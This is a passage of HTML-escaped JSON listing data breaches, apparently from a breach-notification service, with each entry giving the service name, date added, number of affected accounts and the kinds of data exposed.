2016&quot;,&quot;PwnCount&quot;:&quot;2,682,650&quot;,&quot;LogoPath&quot;:&quot;Uiggy.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses&quot;},{&quot;Name&quot;:&quot;Teracod&quot;,&quot;Title&quot;:&quot;Teracod&quot;,&quot;AddedDate&quot;:&quot;August 22, 2016&quot;,&quot;PwnCount&quot;:&quot;97,151&quot;,&quot;LogoPath&quot;:&quot;Teracod.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;BlueSnapRegpack&quot;,&quot;Title&quot;:&quot;Regpack&quot;,&quot;AddedDate&quot;:&quot;September 13, 2016&quot;,&quot;PwnCount&quot;:&quot;104,977&quot;,&quot;LogoPath&quot;:&quot;BlueSnapRegpack.png&quot;,&quot;DataClasses&quot;:&quot;Credit card CVV, Partial credit card data&quot;},{&quot;Name&quot;:&quot;ArmyForceOnline&quot;,&quot;Title&quot;:&quot;Army Force Online&quot;,&quot;AddedDate&quot;:&quot;November 10, 2016&quot;,&quot;PwnCount&quot;:&quot;1,531,235&quot;,&quot;LogoPath&quot;:&quot;ArmyForceOnline.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;FurAffinity&quot;,&quot;Title&quot;:&quot;Fur Affinity&quot;,&quot;AddedDate&quot;:&quot;May 27, 2016&quot;,&quot;PwnCount&quot;:&quot;1,270,564&quot;,&quot;LogoPath&quot;:&quot;FurAffinity.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;RosebuttBoard&quot;,&quot;Title&quot;:&quot;Rosebutt Board&quot;,&quot;AddedDate&quot;:&quot;May 10, 2016&quot;,&quot;PwnCount&quot;:&quot;107,303&quot;,&quot;LogoPath&quot;:&quot;RosebuttBoard.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Shotbow&quot;,&quot;Title&quot;:&quot;Shotbow&quot;,&quot;AddedDate&quot;:&quot;October 29, 2017&quot;,&quot;PwnCount&quot;:&quot;1,052,753&quot;,&quot;LogoPath&quot;:&quot;Shotbow.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Nulled&quot;,&quot;Title&quot;:&quot;Nulled&quot;,&quot;AddedDate&quot;:&quot;May 9, 2016&quot;,&quot;PwnCount&quot;:&quot;599,080&quot;,&quot;LogoPath&quot;:&quot;Nulled.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;17Media&quot;,&quot;Title&quot;:&quot;17&quot;,&quot;AddedDate&quot;:&quot;July 8, 2016&quot;,&quot;PwnCount&quot;:&quot;4,009,640&quot;,&quot;LogoPath&quot;:&quot;17Media.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;KnownCircle&quot;,&quot;Title&quot;:&quot;KnownCircle&quot;,&quot;AddedDate&quot;:&quot;November 17, 2018&quot;,&quot;PwnCount&quot;:&quot;1,957,600&quot;,&quot;LogoPath&quot;:&quot;KnownCircle.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;Playgar&quot;,&quot;Title&quot;:&quot;Guns and Robots&quot;,&quot;AddedDate&quot;:&quot;February 14, 2018&quot;,&quot;PwnCount&quot;:&quot;143,569&quot;,&quot;LogoPath&quot;:&quot;Playgar.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;COMELEC&quot;,&quot;Title&quot;:&quot;COMELEC (Philippines Voters)&quot;,&quot;AddedDate&quot;:&quot;April 14, 2016&quot;,&quot;PwnCount&quot;:&quot;228,605&quot;,&quot;LogoPath&quot;:&quot;COMELEC.png&quot;,&quot;DataClasses&quot;:&quot;Phone numbers, Email addresses&quot;},{&quot;Name&quot;:&quot;NaughtyAmerica&quot;,&quot;Title&quot;:&quot;Naughty America&quot;,&quot;AddedDate&quot;:&quot;April 24, 2016&quot;,&quot;PwnCount&quot;:&quot;1,398,630&quot;,&quot;LogoPath&quot;:&quot;NaughtyAmerica.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Staminus&quot;,&quot;Title&quot;:&quot;Staminus&quot;,&quot;AddedDate&quot;:&quot;October 5, 2017&quot;,&quot;PwnCount&quot;:&quot;26,815&quot;,&quot;LogoPath&quot;:&quot;Staminus.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Credit cards&quot;},{&quot;Name&quot;:&quot;CDProjektRed&quot;,&quot;Title&quot;:&quot;CD Projekt RED&quot;,&quot;AddedDate&quot;:&quot;January 31, 2017&quot;,&quot;PwnCount&quot;:&quot;1,871,373&quot;,&quot;LogoPath&quot;:&quot;CDProjektRed.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Nival&quot;,&quot;Title&quot;:&quot;Nival&quot;,&quot;AddedDate&quot;:&quot;March 3, 2016&quot;,&quot;PwnCount&quot;:&quot;1,535,473&quot;,&quot;LogoPath&quot;:&quot;Nival.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses, Dates of birth&quot;},{&quot;Name&quot;:&quot;Mate1&quot;,&quot;Title&quot;:&quot;Mate1.com&quot;,&quot;AddedDate&quot;:&quot;April 14, 2016&quot;,&quot;PwnCount&quot;:&quot;27,393,015&quot;,&quot;LogoPath&quot;:&quot;Mate1.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;KMRU&quot;,&quot;Title&quot;:&quot;KM.RU&quot;,&quot;AddedDate&quot;:&quot;March 3, 2016&quot;,&quot;PwnCount&quot;:&quot;1,476,783&quot;,&quot;LogoPath&quot;:&quot;KMRU.png&quot;,&quot;DataClasses&quot;:&quot;Security questions and answers, Email addresses&quot;},{&quot;Name&quot;:&quot;TruckersMP&quot;,&quot;Title&quot;:&quot;TruckersMP&quot;,&quot;AddedDate&quot;:&quot;April 24, 2016&quot;,&quot;PwnCount&quot;:&quot;83,957&quot;,&quot;LogoPath&quot;:&quot;TruckersMP.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;LinuxMint&quot;,&quot;Title&quot;:&quot;Linux Mint&quot;,&quot;AddedDate&quot;:&quot;February 22, 2016&quot;,&quot;PwnCount&quot;:&quot;144,989&quot;,&quot;LogoPath&quot;:&quot;LinuxMint.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;SkTorrent&quot;,&quot;Title&quot;:&quot;SkTorrent&quot;,&quot;AddedDate&quot;:&quot;February 23, 2016&quot;,&quot;PwnCount&quot;:&quot;117,070&quot;,&quot;LogoPath&quot;:&quot;SkTorrent.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;FlashFlashRevolution&quot;,&quot;Title&quot;:&quot;Flash Flash Revolution (2016 breach)&quot;,&quot;AddedDate&quot;:&quot;September 6, 2016&quot;,&quot;PwnCount&quot;:&quot;1,771,845&quot;,&quot;LogoPath&quot;:&quot;FlashFlashRevolution.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;MinecraftWorldMap&quot;,&quot;Title&quot;:&quot;Minecraft World Map&quot;,&quot;AddedDate&quot;:&quot;August 29, 2016&quot;,&quot;PwnCount&quot;:&quot;71,081&quot;,&quot;LogoPath&quot;:&quot;MinecraftWorldMap.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;uTorrent&quot;,&quot;Title&quot;:&quot;uTorrent&quot;,&quot;AddedDate&quot;:&quot;November 5, 2016&quot;,&quot;PwnCount&quot;:&quot;395,044&quot;,&quot;LogoPath&quot;:&quot;uTorrent.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;EpicNPC&quot;,&quot;Title&quot;:&quot;EpicNPC&quot;,&quot;AddedDate&quot;:&quot;July 27, 2019&quot;,&quot;PwnCount&quot;:&quot;408,795&quot;,&quot;LogoPath&quot;:&quot;EpicNPC.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Onverse&quot;,&quot;Title&quot;:&quot;Onverse&quot;,&quot;AddedDate&quot;:&quot;September 6, 2016&quot;,&quot;PwnCount&quot;:&quot;800,157&quot;,&quot;LogoPath&quot;:&quot;Onverse.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;MoDaCo&quot;,&quot;Title&quot;:&quot;MoDaCo&quot;,&quot;AddedDate&quot;:&quot;September 20, 2016&quot;,&quot;PwnCount&quot;:&quot;879,703&quot;,&quot;LogoPath&quot;:&quot;MoDaCo.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;D3scene&quot;,&quot;Title&quot;:&quot;D3Scene&quot;,&quot;AddedDate&quot;:&quot;June 15, 2019&quot;,&quot;PwnCount&quot;:&quot;568,827&quot;,&quot;LogoPath&quot;:&quot;D3scene.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Lifeboat&quot;,&quot;Title&quot;:&quot;Lifeboat&quot;,&quot;AddedDate&quot;:&quot;April 25, 2016&quot;,&quot;PwnCount&quot;:&quot;7,089,395&quot;,&quot;LogoPath&quot;:&quot;Lifeboat.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;AnimePlanet&quot;,&quot;Title&quot;:&quot;Anime-Planet&quot;,&quot;AddedDate&quot;:&quot;July 28, 2019&quot;,&quot;PwnCount&quot;:&quot;368,507&quot;,&quot;LogoPath&quot;:&quot;AnimePlanet.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;ServerPact&quot;,&quot;Title&quot;:&quot;ServerPact&quot;,&quot;AddedDate&quot;:&quot;September 6, 2016&quot;,&quot;PwnCount&quot;:&quot;73,587&quot;,&quot;LogoPath&quot;:&quot;ServerPact.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;XPGameSaves&quot;,&quot;Title&quot;:&quot;XPG&quot;,&quot;AddedDate&quot;:&quot;July 1, 2017&quot;,&quot;PwnCount&quot;:&quot;890,341&quot;,&quot;LogoPath&quot;:&quot;XPGameSaves.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;BitTorrent&quot;,&quot;Title&quot;:&quot;BitTorrent&quot;,&quot;AddedDate&quot;:&quot;June 8, 2016&quot;,&quot;PwnCount&quot;:&quot;34,235&quot;,&quot;LogoPath&quot;:&quot;BitTorrent.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Trillian&quot;,&quot;Title&quot;:&quot;Trillian&quot;,&quot;AddedDate&quot;:&quot;July 15, 2016&quot;,&quot;PwnCount&quot;:&quot;3,827,238&quot;,&quot;LogoPath&quot;:&quot;Trillian.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;QuinStreet&quot;,&quot;Title&quot;:&quot;QuinStreet&quot;,&quot;AddedDate&quot;:&quot;December 17, 2016&quot;,&quot;PwnCount&quot;:&quot;4,907,802&quot;,&quot;LogoPath&quot;:&quot;QuinStreet.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Aternos&quot;,&quot;Title&quot;:&quot;Aternos&quot;,&quot;AddedDate&quot;:&quot;October 1, 2016&quot;,&quot;PwnCount&quot;:&quot;1,436,486&quot;,&quot;LogoPath&quot;:&quot;Aternos.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;DaniWeb&quot;,&quot;Title&quot;:&quot;DaniWeb&quot;,&quot;AddedDate&quot;:&quot;December 28, 2016&quot;,&quot;PwnCount&quot;:&quot;1,131,636&quot;,&quot;LogoPath&quot;:&quot;DaniWeb.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Nihonomaru&quot;,&quot;Title&quot;:&quot;Nihonomaru&quot;,&quot;AddedDate&quot;:&quot;August 30, 2016&quot;,&quot;PwnCount&quot;:&quot;1,697,282&quot;,&quot;LogoPath&quot;:&quot;Nihonomaru.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;ProgrammingForums&quot;,&quot;Title&quot;:&quot;Programming Forums&quot;,&quot;AddedDate&quot;:&quot;July 1, 2017&quot;,&quot;PwnCount&quot;:&quot;707,432&quot;,&quot;LogoPath&quot;:&quot;ProgrammingForums.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;TheFappening&quot;,&quot;Title&quot;:&quot;The Fappening&quot;,&quot;AddedDate&quot;:&quot;April 13, 2016&quot;,&quot;PwnCount&quot;:&quot;179,030&quot;,&quot;LogoPath&quot;:&quot;TheFappening.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;MajorGeeks&quot;,&quot;Title&quot;:&quot;MajorGeeks&quot;,&quot;AddedDate&quot;:&quot;March 3, 2016&quot;,&quot;PwnCount&quot;:&quot;269,548&quot;,&quot;LogoPath&quot;:&quot;MajorGeeks.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;BeautifulPeople&quot;,&quot;Title&quot;:&quot;Beautiful People&quot;,&quot;AddedDate&quot;:&quot;April 25, 2016&quot;,&quot;PwnCount&quot;:&quot;1,100,089&quot;,&quot;LogoPath&quot;:&quot;BeautifulPeople.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Comcast&quot;,&quot;Title&quot;:&quot;Comcast&quot;,&quot;AddedDate&quot;:&quot;February 8, 2016&quot;,&quot;PwnCount&quot;:&quot;616,882&quot;,&quot;LogoPath&quot;:&quot;Comcast.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Ancestry&quot;,&quot;Title&quot;:&quot;Ancestry&quot;,&quot;AddedDate&quot;:&quot;December 24, 2017&quot;,&quot;PwnCount&quot;:&quot;297,806&quot;,&quot;LogoPath&quot;:&quot;Ancestry.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Interpals&quot;,&quot;Title&quot;:&quot;InterPals&quot;,&quot;AddedDate&quot;:&quot;August 30, 2016&quot;,&quot;PwnCount&quot;:&quot;3,439,414&quot;,&quot;LogoPath&quot;:&quot;Interpals.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;xat&quot;,&quot;Title&quot;:&quot;xat&quot;,&quot;AddedDate&quot;:&quot;August 5, 2016&quot;,&quot;PwnCount&quot;:&quot;5,968,783&quot;,&quot;LogoPath&quot;:&quot;xat.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;VBulletin&quot;,&quot;Title&quot;:&quot;vBulletin&quot;,&quot;AddedDate&quot;:&quot;January 24, 2016&quot;,&quot;PwnCount&quot;:&quot;518,966&quot;,&quot;LogoPath&quot;:&quot;VBulletin.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Abandonia&quot;,&quot;Title&quot;:&quot;Abandonia&quot;,&quot;AddedDate&quot;:&quot;June 5, 2017&quot;,&quot;PwnCount&quot;:&quot;776,125&quot;,&quot;LogoPath&quot;:&quot;Abandonia.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;R2Games&quot;,&quot;Title&quot;:&quot;R2Games&quot;,&quot;AddedDate&quot;:&quot;February 9, 2016&quot;,&quot;PwnCount&quot;:&quot;22,281,337&quot;,&quot;LogoPath&quot;:&quot;R2Games.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Mac-Torrents&quot;,&quot;Title&quot;:&quot;Mac-Torrents&quot;,&quot;AddedDate&quot;:&quot;October 31, 2015&quot;,&quot;PwnCount&quot;:&quot;93,992&quot;,&quot;LogoPath&quot;:&quot;Mac-Torrents.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;PHPFreaks&quot;,&quot;Title&quot;:&quot;PHP Freaks&quot;,&quot;AddedDate&quot;:&quot;October 30, 2015&quot;,&quot;PwnCount&quot;:&quot;173,891&quot;,&quot;LogoPath&quot;:&quot;PHPFreaks.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;GamerzPlanet&quot;,&quot;Title&quot;:&quot;Gamerzplanet&quot;,&quot;AddedDate&quot;:&quot;February 5, 2016&quot;,&quot;PwnCount&quot;:&quot;1,217,166&quot;,&quot;LogoPath&quot;:&quot;GamerzPlanet.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;MPGH&quot;,&quot;Title&quot;:&quot;MPGH&quot;,&quot;AddedDate&quot;:&quot;October 26, 2015&quot;,&quot;PwnCount&quot;:&quot;3,122,898&quot;,&quot;LogoPath&quot;:&quot;MPGH.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;NapsGear&quot;,&quot;Title&quot;:&quot;NapsGear&quot;,&quot;AddedDate&quot;:&quot;September 10, 2018&quot;,&quot;PwnCount&quot;:&quot;287,071&quot;,&quot;LogoPath&quot;:&quot;NapsGear.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;Patreon&quot;,&quot;Title&quot;:&quot;Patreon&quot;,&quot;AddedDate&quot;:&quot;October 2, 2015&quot;,&quot;PwnCount&quot;:&quot;2,330,382&quot;,&quot;LogoPath&quot;:&quot;Patreon.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses&quot;},{&quot;Name&quot;:&quot;WIIUISO&quot;,&quot;Title&quot;:&quot;WIIU ISO&quot;,&quot;AddedDate&quot;:&quot;September 6, 2016&quot;,&quot;PwnCount&quot;:&quot;458,155&quot;,&quot;LogoPath&quot;:&quot;WIIUISO.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;PSPISO&quot;,&quot;Title&quot;:&quot;PSP ISO&quot;,&quot;AddedDate&quot;:&quot;January 29, 2017&quot;,&quot;PwnCount&quot;:&quot;1,274,070&quot;,&quot;LogoPath&quot;:&quot;PSPISO.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Xbox360ISO&quot;,&quot;Title&quot;:&quot;Xbox 360 ISO&quot;,&quot;AddedDate&quot;:&quot;January 29, 2017&quot;,&quot;PwnCount&quot;:&quot;1,296,959&quot;,&quot;LogoPath&quot;:&quot;Xbox360ISO.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;FFShrine&quot;,&quot;Title&quot;:&quot;Final Fantasy Shrine&quot;,&quot;AddedDate&quot;:&quot;October 31, 2015&quot;,&quot;PwnCount&quot;:&quot;620,677&quot;,&quot;LogoPath&quot;:&quot;FFShrine.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;TheCandidBoard&quot;,&quot;Title&quot;:&quot;The Candid Board&quot;,&quot;AddedDate&quot;:&quot;January 22, 2017&quot;,&quot;PwnCount&quot;:&quot;178,201&quot;,&quot;LogoPath&quot;:&quot;TheCandidBoard.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;MyVidster&quot;,&quot;Title&quot;:&quot;MyVidster&quot;,&quot;AddedDate&quot;:&quot;October 10, 2015&quot;,&quot;PwnCount&quot;:&quot;19,863&quot;,&quot;LogoPath&quot;:&quot;MyVidster.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Pokebip&quot;,&quot;Title&quot;:&quot;Pokébip&quot;,&quot;AddedDate&quot;:&quot;September 9, 2016&quot;,&quot;PwnCount&quot;:&quot;657,001&quot;,&quot;LogoPath&quot;:&quot;Pokebip.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;AshleyMadison&quot;,&quot;Title&quot;:&quot;Ashley Madison&quot;,&quot;AddedDate&quot;:&quot;August 18, 2015&quot;,&quot;PwnCount&quot;:&quot;30,811,934&quot;,&quot;LogoPath&quot;:&quot;AshleyMadison.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Security questions and answers&quot;},{&quot;Name&quot;:&quot;Soundwave&quot;,&quot;Title&quot;:&quot;Soundwave&quot;,&quot;AddedDate&quot;:&quot;March 17, 2017&quot;,&quot;PwnCount&quot;:&quot;130,705&quot;,&quot;LogoPath&quot;:&quot;Soundwave.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;Seedpeer&quot;,&quot;Title&quot;:&quot;Seedpeer&quot;,&quot;AddedDate&quot;:&quot;March 9, 2016&quot;,&quot;PwnCount&quot;:&quot;281,924&quot;,&quot;LogoPath&quot;:&quot;Seedpeer.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;WildStar&quot;,&quot;Title&quot;:&quot;WildStar&quot;,&quot;AddedDate&quot;:&quot;March 6, 2016&quot;,&quot;PwnCount&quot;:&quot;738,556&quot;,&quot;LogoPath&quot;:&quot;WildStar.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Hemmakvall&quot;,&quot;Title&quot;:&quot;Hemmakväll&quot;,&quot;AddedDate&quot;:&quot;July 9, 2015&quot;,&quot;PwnCount&quot;:&quot;47,297&quot;,&quot;LogoPath&quot;:&quot;Hemmakvall.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Phone numbers&quot;},{&quot;Name&quot;:&quot;myRepoSpace&quot;,&quot;Title&quot;:&quot;myRepoSpace&quot;,&quot;AddedDate&quot;:&quot;July 8, 2015&quot;,&quot;PwnCount&quot;:&quot;252,751&quot;,&quot;LogoPath&quot;:&quot;myRepoSpace.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;HackingTeam&quot;,&quot;Title&quot;:&quot;Hacking Team&quot;,&quot;AddedDate&quot;:&quot;July 12, 2015&quot;,&quot;PwnCount&quot;:&quot;32,310&quot;,&quot;LogoPath&quot;:&quot;HackingTeam.png&quot;,&quot;DataClasses&quot;:&quot;Email addresses&quot;},{&quot;Name&quot;:&quot;Plex&quot;,&quot;Title&quot;:&quot;Plex&quot;,&quot;AddedDate&quot;:&quot;February 8, 2016&quot;,&quot;PwnCount&quot;:&quot;327,314&quot;,&quot;LogoPath&quot;:&quot;Plex.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;SvenskaMagic&quot;,&quot;Title&quot;:&quot;SvenskaMagic&quot;,&quot;AddedDate&quot;:&quot;August 30, 2018&quot;,&quot;PwnCount&quot;:&quot;30,327&quot;,&quot;LogoPath&quot;:&quot;SvenskaMagic.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;QatarNationalBank&quot;,&quot;Title&quot;:&quot;Qatar National Bank&quot;,&quot;AddedDate&quot;:&quot;May 1, 2016&quot;,&quot;PwnCount&quot;:&quot;88,678&quot;,&quot;LogoPath&quot;:&quot;QatarNationalBank.png&quot;,&quot;DataClasses&quot;:&quot;Government issued IDs, Passwords&quot;},{&quot;Name&quot;:&quot;iPmart&quot;,&quot;Title&quot;:&quot;iPmart&quot;,&quot;AddedDate&quot;:&quot;February 23, 2016&quot;,&quot;PwnCount&quot;:&quot;2,460,787&quot;,&quot;LogoPath&quot;:&quot;iPmart.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;CheapAssGamer&quot;,&quot;Title&quot;:&quot;CheapAssGamer.com&quot;,&quot;AddedDate&quot;:&quot;November 8, 2016&quot;,&quot;PwnCount&quot;:&quot;444,767&quot;,&quot;LogoPath&quot;:&quot;CheapAssGamer.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;PS3Hax&quot;,&quot;Title&quot;:&quot;PS3Hax&quot;,&quot;AddedDate&quot;:&quot;February 7, 2016&quot;,&quot;PwnCount&quot;:&quot;447,410&quot;,&quot;LogoPath&quot;:&quot;PS3Hax.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Minefield&quot;,&quot;Title&quot;:&quot;Minefield&quot;,&quot;AddedDate&quot;:&quot;March 9, 2016&quot;,&quot;PwnCount&quot;:&quot;188,343&quot;,&quot;LogoPath&quot;:&quot;Minefield.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;MinecraftPocketEditionForum&quot;,&quot;Title&quot;:&quot;Minecraft Pocket Edition Forum&quot;,&quot;AddedDate&quot;:&quot;June 30, 2015&quot;,&quot;PwnCount&quot;:&quot;16,034&quot;,&quot;LogoPath&quot;:&quot;MinecraftPocketEditionForum.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;BitcoinTalk&quot;,&quot;Title&quot;:&quot;Bitcoin Talk&quot;,&quot;AddedDate&quot;:&quot;March 27, 2017&quot;,&quot;PwnCount&quot;:&quot;501,407&quot;,&quot;LogoPath&quot;:&quot;BitcoinTalk.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;AdultFriendFinder&quot;,&quot;Title&quot;:&quot;Adult Friend Finder&quot;,&quot;AddedDate&quot;:&quot;May 22, 2015&quot;,&quot;PwnCount&quot;:&quot;3,867,997&quot;,&quot;LogoPath&quot;:&quot;AdultFriendFinder.png&quot;,&quot;DataClasses&quot;:&quot;IP addresses, Email addresses&quot;},{&quot;Name&quot;:&quot;VNG&quot;,&quot;Title&quot;:&quot;VNG&quot;,&quot;AddedDate&quot;:&quot;April 28, 2018&quot;,&quot;PwnCount&quot;:&quot;24,853,850&quot;,&quot;LogoPath&quot;:&quot;VNG.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;mSpy&quot;,&quot;Title&quot;:&quot;mSpy&quot;,&quot;AddedDate&quot;:&quot;May 28, 2015&quot;,&quot;PwnCount&quot;:&quot;699,793&quot;,&quot;LogoPath&quot;:&quot;mSpy.png&quot;,&quot;DataClasses&quot;:&quot;&quot;},{&quot;Name&quot;:&quot;Gaadi&quot;,&quot;Title&quot;:&quot;Gaadi&quot;,&quot;AddedDate&quot;:&quot;July 1, 2018&quot;,&quot;PwnCount&quot;:&quot;4,261,179&quot;,&quot;LogoPath&quot;:&quot;Gaadi.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;SprashivaiRu&quot;,&quot;Title&quot;:&quot;Спрашивай.ру&quot;,&quot;AddedDate&quot;:&quot;May 12, 2015&quot;,&quot;PwnCount&quot;:&quot;3,474,763&quot;,&quot;LogoPath&quot;:&quot;SprashivaiRu.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Evermotion&quot;,&quot;Title&quot;:&quot;Evermotion&quot;,&quot;AddedDate&quot;:&quot;July 2, 2017&quot;,&quot;PwnCount&quot;:&quot;435,510&quot;,&quot;LogoPath&quot;:&quot;Evermotion.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, Email addresses&quot;},{&quot;Name&quot;:&quot;OVH&quot;,&quot;Title&quot;:&quot;OVH&quot;,&quot;AddedDate&quot;:&quot;December 27, 2016&quot;,&quot;PwnCount&quot;:&quot;452,899&quot;,&quot;LogoPath&quot;:&quot;OVH.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;Kimsufi&quot;,&quot;Title&quot;:&quot;Kimsufi&quot;,&quot;AddedDate&quot;:&quot;December 27, 2016&quot;,&quot;PwnCount&quot;:&quot;504,565&quot;,&quot;LogoPath&quot;:&quot;Kimsufi.png&quot;,&quot;DataClasses&quot;:&quot;Passwords, IP addresses&quot;},{&quot;Name&quot;:&quot;TRAI&quot;,&quot;Title&quot;:&quot;Telecom Regulatory Authority of India&quot;,&quot;AddedDate&quot;:&quot;April 27, 